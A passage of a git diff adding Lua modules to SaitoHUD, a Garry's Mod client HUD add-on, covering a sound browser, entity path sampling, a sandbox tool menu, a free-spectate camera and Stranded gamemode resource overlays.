+ local line = lst:GetLine(index) + SetClipboardText(SoundDuration(line:GetValue(4))) + end) + menu:AddOption("Send to Wired Sound Emitter", function() + local line = lst:GetLine(index) + RunConsoleCommand("wire_soundemitter_sound", line:GetValue(4)) + RunConsoleCommand("tool_wire_soundemitter") + end) + menu:Open() + end + + sounds.DoDoubleClick = function(lst, index, line) + if not line then return end + frame:Close() + end + + UpdateSoundList(sounds, soundList, "/") + + -- Make folder view + local tree = vgui.Create("DTree", frame) + + AddTreeFolders(tree, soundFolders, function(path) + UpdateSoundList(sounds, soundList, path) + end) + + -- Make divider + local divider = vgui.Create("DHorizontalDivider", frame) + divider:SetLeftWidth(150) + divider:SetLeft(tree) + divider:SetRight(sounds) + + -- Load list button + local loadListButton = vgui.Create("DButton", frame) + loadListButton:SetText("Load List..") + loadListButton:SetWide(80) + loadListButton.DoClick = function() + local files = file.Find("saitohud/resource_browser/sounds/*.txt", "DATA") + + local menu = DermaMenu() + + for _, file in pairs(files) do + menu:AddOption(file, function() + soundBrowserWindow:Close() + LoadSounds(file) + -- Very ugly + SaitoHUD.OpenSoundBrowser() + end) + end + + menu:Open() + end + + -- Stop sounds button + local stopSoundsButton = vgui.Create("DButton", frame) + stopSoundsButton:SetText("Stop All Sounds") + stopSoundsButton:SetWide(110) + stopSoundsButton:SetTooltip("Will also stop game sounds") + stopSoundsButton.DoClick = function() + RunConsoleCommand("stopsounds") + end + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + divider:StretchToParent(10, 28 + 28, 10, 10) + + loadListButton:SetPos(10, 28) + stopSoundsButton:SetPos(10 + loadListButton:GetWide() + 5, 28) + end + + -- Close + local oldClose = frame.Close + frame.Close = function(self) + RunConsoleCommand("stopsounds") + oldClose(self) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("sound_browser", function() SaitoHUD.OpenSoundBrowser() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua new file mode 100644 index 0000000..92684e4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua @@ -0,0 +1,441 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local sampleDraw = CreateClientConVar("sample_draw", "1", false, false) +local sampleResolution = CreateClientConVar("sample_resolution", "100", true, false) +local sampleRandomColor = CreateClientConVar("sample_random_color", "0", true, false) +local sampleFade = CreateClientConVar("sample_fade", "0", true, false) +local sampleSize = CreateClientConVar("sample_size", "100", true, false) +local sampleThick = CreateClientConVar("sample_thick", "0", true, false) +local sampleNodes = CreateClientConVar("sample_nodes", "1", true, false) +local sampleMultiple = CreateClientConVar("sample_multiple", "0", true, false) + +SaitoHUD.Samplers = {} + +local lastSample = 0 + +local SamplingContext = {} + +--- Creates a new sampling context. +-- @param ent Entity +-- @param color Color object to draw the lines and nodes with +-- @param randomColor Boolean indicating whether a random color should be used; color +-- should be nil +function SamplingContext:new(ent, color, randomColor) + if color == nil then + if randomColor then + color = HSVToColor(math.random(0, 255), 1, 1) + else + color = Color(0, 255, 255, 255) + end + end + + local instance = { + ["ent"] = ent, + ["points"] = {}, + ["color"] = color, + } + + setmetatable(instance, self) + self.__index = self + return instance +end + +--- Does logging for this sampling context. A size parameter can be given to +-- specify the number of data points to keep. If the parameter is not specified, then +-- the number configured via the relevant cvar will be used. +-- @param size +function SamplingContext:Log(size) + if not self.ent or not IsValid(self.ent) then + self.Log = function() end + self.Draw = function() end + return false + end + + if size == nil then + size = sampleSize:GetFloat() + end + + table.insert(self.points, self.ent:GetPos()) + while #self.points > size do + table.remove(self.points, 1) + end + + return true +end + +--- Draws the sample. +-- @param drawNodes Boolean indicating whether the nodes should be drawn +function SamplingContext:Draw(drawNodes) + if not self.ent or not IsValid(self.ent) then + self.Log = function() end + self.Draw = function() end + return false + end + + local dim = 5 + local currentPos = self.ent:GetPos() + local lastPt = nil + + surface.SetDrawColor(self.color.r, self.color.g, self.color.b, 255) + + for k, pt in pairs(self.points) do + if lastPt != nil and lastPt != pt then + local from = lastPt:ToScreen() + local to = pt:ToScreen() + + if from.visible and to.visible then + if sampleFade:GetBool() then + surface.SetDrawColor(self.color.r, self.color.g, self.color.b, + (k / #self.points) * 255) + end + + surface.DrawLine(from.x, from.y, to.x, to.y) + + if sampleThick:GetBool() then + surface.DrawLine(from.x + 1, from.y, to.x + 1, to.y) + surface.DrawLine(from.x + 1, from.y + 1, to.x + 1, to.y + 1) + surface.DrawLine(from.x, from.y + 1, to.x, to.y + 1) + end + + if sampleNodes:GetBool() then + surface.DrawOutlinedRect(to.x - dim / 2, to.y - dim / 2, dim, dim) + end + end + end + + lastPt = pt + end + + if lastPt != nil and lastPt != currentPos then + local from = lastPt:ToScreen() + local to = currentPos:ToScreen() + if from.visible and to.visible then + surface.DrawLine(from.x, from.y, to.x, to.y) + + if sampleThick:GetBool() then + surface.DrawLine(from.x + 1, from.y, to.x + 1, to.y) + surface.DrawLine(from.x + 1, from.y + 1, to.x + 1, to.y + 1) + surface.DrawLine(from.x, from.y + 1, to.x, to.y + 1) + end + end + end + + return true +end + +--- Adds and removes hooks as required. +local function Rehook() + if #SaitoHUD.Samplers > 0 then + hook.Add("Think", "SaitoHUD.Sampling", LogSamples) + + if sampleDraw:GetBool() then + hook.Add("HUDPaint", "SaitoHUD.Sampling", DrawSamples) + else + SaitoHUD.RemoveHook("HUDPaint", "SaitoHUD.Sampling") + end + else + SaitoHUD.RemoveHook("Think", "SaitoHUD.Sampling") + SaitoHUD.RemoveHook("HUDPaint", "SaitoHUD.Sampling") + end +end + +--- Remove an entity from being sampled. +-- @param ent Entity +function SaitoHUD.RemoveSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + table.remove(SaitoHUD.Samplers, k) + end + end + + Rehook() +end + +--- Add a sampler to the list for an entity. +-- @param ent Entity +function SaitoHUD.AddSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + return + end + end + + local ctx = SamplingContext:new(ent, nil, sampleRandomColor:GetBool()) + table.insert(SaitoHUD.Samplers, ctx) + + Rehook() +end + +--- Sets the current sample list to sample only the given entity. +-- @param ent Entity +function SaitoHUD.SetSample(ent) + local ctx = SamplingContext:new(ent, nil, sampleRandomColor:GetBool()) + SaitoHUD.Samplers = {ctx} + + Rehook() +end + +--- Check to see whether a sampler exists for an entity. +-- @param ent Entity +-- @return Whether it exists +function SaitoHUD.HasSample(ent) + for k, ctx in pairs(SaitoHUD.Samplers) do + if ctx.ent == ent then + return true + end + end + return false +end + +--- Collects data points, and removes any deleted entities from the sample list. +function SaitoHUD.LogSamples() + for k, ctx in pairs(SaitoHUD.Samplers) do + if not ctx:Log() then + table.remove(SaitoHUD.Samplers, k) + end + end +end + +--- Draws the sample on the screen, and removes any entities being sampled if the +-- entities are no longer valid. +function SaitoHUD.DrawSamples() + for k, ctx in pairs(SaitoHUD.Samplers) do + if not ctx:Draw() then + table.remove(SaitoHUD.Samplers, k) + end + end +end + +--- Console command to sample. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function Sample(ply, cmd, args) + if not sampleMultiple:GetBool() then + if table.Count(SaitoHUD.Samplers) > 0 then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + end + SaitoHUD.Samplers = {} + end + + if table.Count(args) == 0 then + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + if SaitoHUD.HasSample(tr.Entity) then + SaitoHUD.RemoveSample(tr.Entity) + LocalPlayer():ChatPrint("No longer sampling entity #" .. tr.Entity:EntIndex() .. ".") + else + SaitoHUD.AddSample(tr.Entity) + LocalPlayer():ChatPrint("Sampling entity #" .. tr.Entity:EntIndex() .. ".") + end + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + elseif table.Count(args) == 1 then + local m = SaitoHUD.MatchPlayerString(args[1]) + if m then + SaitoHUD.AddSample(m) + LocalPlayer():ChatPrint("Sampling player named " .. m:GetName() .. ".") + else + LocalPlayer():ChatPrint("No player was found by that name.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to sample by entity filter. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function SampleFilter(ply, cmd, args) + if not sampleMultiple:GetBool() then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + return + end + + local filter = SaitoHUD.entityFilter.Build(args, true) + local refPos = SaitoHUD.GetRefPos() + local count = 0 + + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + if filter.f(ent, refPos) then + SaitoHUD.AddSample(ent) + count = count + 1 + end + end + end + + Msg(tostring(count) .. " entities were matched\n") +end + +--- Console commands to sample by ID. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function SampleID(ply, cmd, args) + if not sampleMultiple:GetBool() then + if table.Count(SaitoHUD.Samplers) > 0 then + LocalPlayer():ChatPrint("Note: Multiple entity sampling is disabled") + end + SaitoHUD.Samplers = {} + end + + if table.Count(args) == 1 then + local idx = tonumber(args[1]) + local m = ents.GetByIndex(idx) + if IsValid(m) then + SaitoHUD.AddSample(m) + LocalPlayer():ChatPrint("Sampling entity of class " .. m:GetClass() .. ".") + else + LocalPlayer():ChatPrint("No entity was found by that index.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove a sample. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSample(ply, cmd, args) + if table.Count(args) == 0 then + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + SaitoHUD.RemoveSample(tr.Entity) + LocalPlayer():ChatPrint("No longer sampling entity #" .. tr.Entity:EntIndex() .. ".") + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + elseif table.Count(args) == 1 then + local m = SaitoHUD.MatchPlayerString(args[1]) + if m then + SaitoHUD.RemoveSample(m) + LocalPlayer():ChatPrint("No longer sampling player named " .. m:GetName() .. ".") + else + LocalPlayer():ChatPrint("No player was found by that name.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove a sample by its ID. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSampleID(ply, cmd, args) + if table.Count(args) == 1 then + local idx = tonumber(args[1]) + local m = ents.GetByIndex(idx) + if IsValid(m) then + SaitoHUD.RemoveSample(m) + LocalPlayer():ChatPrint("No longer sampling entity of class " .. m:GetClass() .. ".") + else + LocalPlayer():ChatPrint("No entity was found by that index.") + end + else + Msg("Invalid number of arguments\n") + end +end + +--- Console command to remove samples entity filter. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function RemoveSampleFilter(ply, cmd, args) + local filter = SaitoHUD.entityFilter.Build(args, true) + local refPos = SaitoHUD.GetRefPos() + local count = 0 + + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + if filter.f(ent, refPos) then + if SaitoHUD.HasSample(ent) then + SaitoHUD.RemoveSample(ent) + count = count + 1 + end + end + end + end + + Msg(tostring(count) .. " samplers were removed\n") +end + +--- Console command to clear samples. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function ClearSamples(ply, cmd, args) + if table.Count(SaitoHUD.Samplers) == 0 then + LocalPlayer():ChatPrint("No samplers are active.") + else + LocalPlayer():ChatPrint(table.Count(SaitoHUD.Samplers) .. " sampler(s) removed.") + SaitoHUD.Samplers = {} + end +end + +--- Console command to list the objects being sampled. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +function ListSamples(ply, cmd, args) + if #SaitoHUD.Samplers > 0 then + for k, ctx in pairs(SaitoHUD.Samplers) do + if IsValid(ctx.ent) then + print(string.format("#%d %s (%s)", ctx.ent:EntIndex(), ctx.ent:GetClass(), + ctx.ent:GetModel())) + end + end + else + print("Nothing is being sampled.") + end +end + +--- Hook to log and draw samples. +function LogSamples() + if CurTime() - lastSample > sampleResolution:GetFloat() / 1000 then + SaitoHUD.LogSamples() + lastSample = CurTime() + end +end + +--- Hook to log and draw samples. +function DrawSamples() + if sampleDraw:GetBool() and not SaitoHUD.AntiUnfairTriggered() then + SaitoHUD.DrawSamples(true) + end +end + +concommand.Add("sample", Sample, SaitoHUD.ConsoleAutocompletePlayer) +concommand.Add("sample_filter", SampleFilter) +concommand.Add("sample_id", SampleID) +concommand.Add("sample_remove", RemoveSample, SaitoHUD.ConsoleAutocompletePlayer) +concommand.Add("sample_remove_id", RemoveSampleID) +concommand.Add("sample_remove_filter", RemoveSampleFilter) +concommand.Add("sample_clear", ClearSamples) +concommand.Add("sample_list", ListSamples) + +-- Need to rehook if sample_draw changes +cvars.AddChangeCallback("sample_draw", function(cv, old, new) Rehook() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua new file mode 100644 index 0000000..35c1e9e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua @@ -0,0 +1,91 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- `` +-- $Id$ + +local menus = {} + +local function AddMenu(Filename) + local data = file.Read("saitohud/sandbox/"..Filename, "DATA") + local newMenu = {} + + if data ~= nil and data ~= "" then + data = SaitoHUD.ParseCSV(data) + + if #data > 0 then + -- Remove the header + if data[1][1] == "Title" then + table.remove(data, 1) + end + + for _, v in pairs(data) do + table.insert(newMenu, {text = v[1], action = v[2]}) + end + end + else + -- Default menu + --table.insert(newMenu, {text = "Easy Precision Tool", action = "tool_easy_precision"}) + table.insert(newMenu, {text = "Weld", action = "tool_weld"}) + table.insert(newMenu, {text = "Remover", action = "tool_remover"}) + table.insert(newMenu, {text = "Color", action = "tool_colour"}) + table.insert(newMenu, {text = "No Collide", action = "tool_nocollide"}) + table.insert(newMenu, {text = "Adv Duplicator", action = "tool_adv_duplicator"}) + --table.insert(newMenu, {text = "Expression 2 Tool", action = "tool_wire_expression2"}) + --table.insert(newMenu, {text = "Improved Wire Tool", action = "tool_wire_improved"}) + --table.insert(newMenu, {text = "Wire Debugger Tool", action = "tool_wire_debugger"}) + end + menus[Filename] = newMenu +end +--- Loads the sandbox menu from file. +-- A default one will be used if the file does not exist. +function SaitoHUD.LoadSandboxMenu() + local files = file.Find("saitohud/sandbox/*.txt", "DATA") + print("Loading Sandbox Menu") + + print("Creating Menu: menu.txt"); + AddMenu("menu.txt") + for k, v in pairs(files) do + if string.sub(v,1,5) == "menu_" then + print("Creating Menu: "..v); + AddMenu(v) + end + end +end + +function SaitoHUD.isGestMenu(Menu) + for k,v in pairs(menus) do + if k == Menu then return true end + end + + return false +end + +-- Hook for the menu +local function SandboxMenu(numItems, menu) + -- We only want this gesture menu to appear if there's nothing else + if numItems > 1 then + return {} + end + + if menu == "" or menu == nil then menu = "menu.txt" end + return menus[menu] +end + +hook.Add("SaitoHUDProvideMenu", "SaitoHUD.Sandbox", SandboxMenu) + +-- Load the menu! +SaitoHUD.LoadSandboxMenu() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua new file mode 100644 index 0000000..1f6c782 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua @@ -0,0 +1,207 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("Trebuchet22", { + font = "Trebuchet MS", + size = 22, + weight = 900, + antialias = true, + additive = false, + } +) + + + + +local spectateLock = CreateClientConVar("free_spectate_lock", "1", true, false) +local spectateRate = CreateClientConVar("free_spectate_rate", "1000", true, false) +local spectateSlowFactor = CreateClientConVar("free_spectate_slow_factor", "4", true, false) +local spectateNotice = CreateClientConVar("free_spectate_notice", "1", true, false) + +local viewPos = Vector() +local viewAng = Angle() +local spectating = false +local origViewAngle = Angle() +local listenPresses = { + "+forward", "+back", "+moveleft", "+moveright", + "+jump", "+speed", "+duck", "+walk" +} +local keyPressed = {} + +------------------------------------------------------------ +-- Hooks +------------------------------------------------------------ + +local data = {} + +--- Control view angle. +local function CreateMove(usercmd) + viewAng.p = math.Clamp(viewAng.p + usercmd:GetMouseY() * 0.025, -90, 90) + viewAng.y = viewAng.y - usercmd:GetMouseX() * 0.025 + + if spectateLock:GetBool() then + usercmd:SetViewAngles(origViewAngle) + else + data.start = viewPos + data.endpos = viewPos + viewAng:Forward() * 50000 + data.filter = LocalPlayer() + local tr = util.TraceLine(data) + usercmd:SetViewAngles((tr.HitPos - LocalPlayer():GetShootPos()):Angle()) + end +end + +--- Handle key presses. +local function PlayerBindPress(ply, bind, pressed) + for _, key in pairs(listenPresses) do + if bind:find(key) then + keyPressed[key] = pressed + return true + end + end + + if spectateLock:GetBool() and bind:find("+attack") or + bind:find("+attack2") or bind:find("+use") or bind:find("+reload") then + return true + end +end + +--- Set the view. +local function CalcView(ply, origin, angles, fov) + local view = {} + view.origin = viewPos + view.angles = viewAng + view.fov = fov + return view +end + +--- Do movement. +local function Think() + local rate = keyPressed["+speed"] and spectateRate:GetFloat() * 2 or spectateRate:GetFloat() + if keyPressed["+walk"] then rate = rate / spectateSlowFactor:GetFloat() end + + if keyPressed["+forward"] then viewPos = viewPos + viewAng:Forward() * rate * RealFrameTime() end + if keyPressed["+back"] then viewPos = viewPos - viewAng:Forward() * rate * RealFrameTime() end + if keyPressed["+moveleft"] then viewPos = viewPos - viewAng:Right() * rate * RealFrameTime() end + if keyPressed["+moveright"] then viewPos = viewPos + viewAng:Right() * rate * RealFrameTime() end + if keyPressed["+jump"] then viewPos = viewPos + viewAng:Up() * rate * RealFrameTime() end + if keyPressed["+duck"] then viewPos = viewPos - viewAng:Up() * rate * RealFrameTime() end +end + +--- HUDPaint function. +local function HUDPaint() + if not spectateNotice:GetBool() then return end + + local text = "Free Spectating" + + if not spectateLock:GetBool() then + text = "(UNLOCKED) Free Spectating" + end + + draw.SimpleText(text, "Trebuchet22", ScrW() / 2 + 1, ScrH() * .8 + 1, + Color(0, 0, 0, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) + draw.SimpleText(text, "Trebuchet22", ScrW() / 2, ScrH() * .8, + color_white, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) +end + +------------------------------------------------------------ +-- Override +------------------------------------------------------------ + +local pMeta = FindMetaTable("Player") + +-- Have to protect old trace functions +if not pMeta._GetEyeTrace then + pMeta._GetEyeTrace = pMeta.GetEyeTrace +end + +if not util._GetPlayerTrace then + util._GetPlayerTrace = util.GetPlayerTrace +end + + +local data = {} -- util.GetEyeTrace() +local lastTrace = nil +local lastTraceTime = 0 + +function pMeta:GetEyeTrace() + local localPly = LocalPlayer() + + if not spectating or self ~= localPly then + return self:_GetEyeTrace() + end + + -- No point to do traces more than needed + if lastTraceTime == CurTime() then + return lastTrace + end + + data.start = viewPos + data.endpos = viewPos + viewAng:Forward() * 16384 + data.filter = localPly + lastTrace = util.TraceLine(data) + return lastTrace +end + +local data = {} -- util.GetPlayerTrace() + +function util.GetPlayerTrace(ply) + local localPly = LocalPlayer() + + if spectating and ply == localPly then + return localPly:GetEyeTrace() + else + return util._GetPlayerTrace(ply) + end +end + +local data = {} -- SaitoHUD.GetRefTrace() + +function SaitoHUD.GetRefTrace() + return LocalPlayer():GetEyeTrace() +end + +function SaitoHUD.GetRefPos() + return spectating and viewPos or LocalPlayer():GetPos() +end + +------------------------------------------------------------ +-- Control +------------------------------------------------------------ + +local function ToggleSpectate(ply, cmd, args) + spectating = not spectating + + local localPly = LocalPlayer() + origViewAngle = localPly:EyeAngles() + viewPos = localPly:GetShootPos() + viewAng = localPly:EyeAngles() -- Need to make a copy + + SaitoHUD.HookIfTrue(spectating, "SaitoHUD.Spectate", { + CreateMove = CreateMove, + PlayerBindPress = PlayerBindPress, + CalcView = CalcView, + Think = Think, + ShouldDrawLocalPlayer = function() return true end, + HUDPaint = HUDPaint, + }, true) +end + +concommand.Add("free_spectate", ToggleSpectate) +concommand.Add("toggle_spectate", ToggleSpectate) diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua new file mode 100644 index 0000000..a1971b2 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua @@ -0,0 +1,304 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local checkSeeable = CreateClientConVar("stranded_res_seeable", "1", true, false) +local resDistance = CreateClientConVar("stranded_res_distance", "500", true, false) + +local itemColors = { + ["Stone"] = Color(217, 217, 217), + ["Iron"] = Color(138, 162, 207), + ["Iron Ore"] = Color(71, 85, 110), + ["Copper"] = Color(219, 194, 116), + ["Copper Ore"] = Color(99, 86, 45), + ["Melon Seeds"] = Color(158, 255, 97), + ["Orange Seeds"] = Color(255, 149, 0), + ["Banana Seeds"] = Color(255, 244, 97), + ["Grain Seeds"] = Color(191, 184, 136), + ["Berries"] = Color(255, 0, 0), + ["Sprouts"] = Color(0, 186, 6), + ["Sand"] = Color(232, 230, 183), + ["Herbs"] = Color(162, 179, 121), + ["Salmon"] = Color(255, 181, 203), + ["Shark"] = Color(97, 95, 161), + ["Wood"] = Color(148, 101, 0), + ["Bass"] = Color(173, 214, 255), + ["Dead Bird"] = Color(41, 41, 41), + ["Water Bottles"] = Color(0, 128, 255), + ["Trout"] = Color(0, 154, 196), + ["Dead Headcrab"] = Color(222, 201, 151), + ["Metal Scrap"] = Color(82, 82, 82), + ["Charcoal"] = Color(120, 120, 120), + ["Sulphur"] = Color(255, 247, 0), + ["Urine Bottles"] = Color(153, 148, 0), + ["Medicine"] = Color(255, 0, 204), + ["Saltpetre"] = Color(255, 255, 255), + ["Gunslide"] = Color(241, 205, 255), + ["Gungrip"] = Color(89, 45, 255), + ["Gunbarrel"] = Color(84, 72, 60), + ["Gunmagazine"] = Color(77, 77, 77), + ["Gunpowder"] = Color(77, 77, 77), + ["Raw Meat"] = Color(255, 163, 169), + ["Glass"] = Color(204, 238, 255), + ["Plastic"] = Color(227, 227, 227), +} + +local plantIDs = { + ["Melon_Seeds"] = "melon", + ["Orange_Seeds"] = "orange", + ["Banana_Seeds"] = "banana", +} + +local function HUDPaint() + local ply = LocalPlayer() + local selfPos = ply:GetPos() + local shootPos = ply:GetShootPos() + + for _, v in ipairs(ents.GetAll()) do + if v:GetClass() == "gms_resourcedrop" then + local pos = v:LocalToWorld(v:OBBCenter()) + local distance = selfPos:Distance(pos) + + local data = {} + data.start = selfPos + data.endpos = pos + data.filter = ply + local tr = util.TraceLine(data) + + if distance <= resDistance:GetFloat() and (not checkSeeable:GetBool() or + tr.Entity == v) then + local text = (v.Res or "Loading") .. ": " .. tostring(v.Amount or 0) + local drawLoc = pos:ToScreen() + surface.SetFont("ChatFont") + local w, h = surface.GetTextSize(text) + draw.RoundedBox(4, drawLoc.x - (w/2) - 3, drawLoc.y - (h/2) - 3, + w + 6, h + 6, Color(50, 50, 50, 200)) + local r, g, b = itemColors[v.Res] and itemColors[v.Res] or + HSVToColor((string.byte(text) * 5 + string.byte(text, 3) * 7) % 360, 1, 1) + surface.SetTextColor(r, g, b, 200) + surface.SetTextPos(drawLoc.x - (w/2), drawLoc.y - (h/2)) + surface.DrawText(text) + end + end + + if CheckName(v, GMS.StructureEntities) then + local pos = v:LocalToWorld(v:OBBCenter()) + local minimum = v:LocalToWorld(v:OBBMins()) + local maximum = v:LocalToWorld(v:OBBMaxs()) + local loc = Vector(0, 0, 0) + local distance = selfPos:Distance(pos) + local range = (maximum - minimum):Length() + if range < 200 then range = 200 end + + local data = {} + data.start = selfPos + data.endpos = pos + data.filter = ply + local tr = util.TraceLine(data) + + if distance <= range and (tr.Entity == v or not tr.Hit) then + local text = v:GetNetworkedString("Name") or "Loading" + if v:GetClass() == "gms_buildsite" then + text = text .. v:GetNetworkedString('Resources') + end + + if minimum.z <= maximum.z then + if shootPos.z > maximum.z then + loc.z = maximum.z + elseif shootPos.z < minimum.z then + loc.z = minimum.z + else + loc.z = shootPos.z + end + else + if shootPos.z < maximum.z then + loc.z = maximum.z + elseif shootPos.z > minimum.z then + loc.z = minimum.z + else + loc.z = shootPos.z + end + end + + local drawLoc = Vector(pos.x, pos.y, loc.z):ToScreen() + surface.SetFont("ChatFont") + local w, h = surface.GetTextSize(text) + draw.RoundedBox(4, drawLoc.x - (w/2) - 3, drawLoc.y - (h/2) - 3, + w + 6, h + 6, Color(50, 50, 50, 200)) + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(drawLoc.x - (w/2), drawLoc.y - (h/2)) + surface.DrawText(text) + end + end + end +end + +local lastAttack2 = false + +local function HandleKey(ply, key) + if input.IsMouseDown(MOUSE_RIGHT) then + if not lastAttack2 and ply:GetActiveWeapon():GetClass() == "gms_hands" then + local shootPos = ply:GetShootPos() + local eyeAngles = ply:EyeAngles() + + local data = {} + data.start = shootPos + data.endpos = shootPos + eyeAngles:Forward() * 200 + data.filter = ply + + local tr = util.TraceLine(data) + if tr.Hit and IsValid(tr.Entity) then + if tr.Entity:GetClass() == "gms_resourcedrop" and tr.Entity.Res then + local id = tr.Entity.Res:gsub(" ", "_") + if Resources[id] then + ply:ChatPrint("Dropping " .. tr.Entity.Res .. ".") + RunConsoleCommand("say", string.format("!drop %s", id)) + else + ply:ChatPrint("You don't have " .. tr.Entity.Res .. ".") + end + end + end + end + end + lastAttack2 = input.IsMouseDown(MOUSE_RIGHT) +end + +local function StrandedMenu(numHooks) + local ply = LocalPlayer() + local shootPos = ply:GetShootPos() + + local menu = {} + + -- Drop resources + for id, num in pairs(Resources) do + if num > 0 then + local name = id:gsub("_", " ") + table.insert(menu, { + ["text"] = string.format("Drop %s (%d)", name, num), + ["action"] = function() + RunConsoleCommand("say", string.format("!drop %s", id)) + end, + ["bgColor"] = Color(84, 58, 39, 255), + }) + end + end + + local bgColor = Color(100, 100, 39, 255) + + -- Drop weapon + table.insert(menu, { + ["text"] = "Drop Weapon", + ["action"] = function() + RunConsoleCommand("say", "!dropweapon") + end, + ["bgColor"] = Color(84, 58, 39, 255), + }) + + local bgColor = Color(49, 84, 39, 255) + + local data = {} + data.start = shootPos + data.endpos = shootPos + ply:GetAimVector() * 150 + data.filter = ply + + -- Take resources + local tr = util.TraceLine(data) + if tr.Hit and IsValid(tr.Entity) then + if ply:GetPos():Distance(tr.Entity:LocalToWorld(tr.Entity:OBBCenter())) < 65 and + tr.Entity:GetClass() == "gms_resourcedrop" and tr.Entity.Res then + local name = tr.Entity.Res:gsub("_", " ") + local id = name:gsub(" ", "_") + + if tr.Entity.Amount > 1 then + table.insert(menu, { + ["text"] = string.format("Take %s (leave 1)", name), + ["action"] = function() + RunConsoleCommand("say", string.format("!take %s %d", id, tr.Entity.Amount - 1)) + end, + ["bgColor"] = Color(49, 84, 39, 255), + }) + end + + for _, num in pairs({1, 2, 5, 10, 50, 100}) do + if num > tr.Entity.Amount then break end + table.insert(menu, { + ["text"] = string.format("Take %s (%d/%d)", name, num, tr.Entity.Amount), + ["action"] = function() + RunConsoleCommand("say", string.format("!take %s %d", id, num)) + end, + ["bgColor"] = Color(49, 84, 39, 255), + }) + end + end + end + + -- Plant + local foundPlant = false + for id, cmd in pairs(plantIDs) do + if Resources[id] and Resources[id] > 0 then + table.insert(menu, { + ["text"] = "Plant Anything", + ["action"] = function() + SaitoHUD.StrandedPlantAnything() + end, + ["bgColor"] = Color(41, 89, 75, 255), + }) + break + end + end + + return menu +end + +local function SetUp() + if GMS then + function SaitoHUD.StrandedPlantAnything() + local foundPlant = false + + for id, cmd in pairs(plantIDs) do + if Resources[id] and 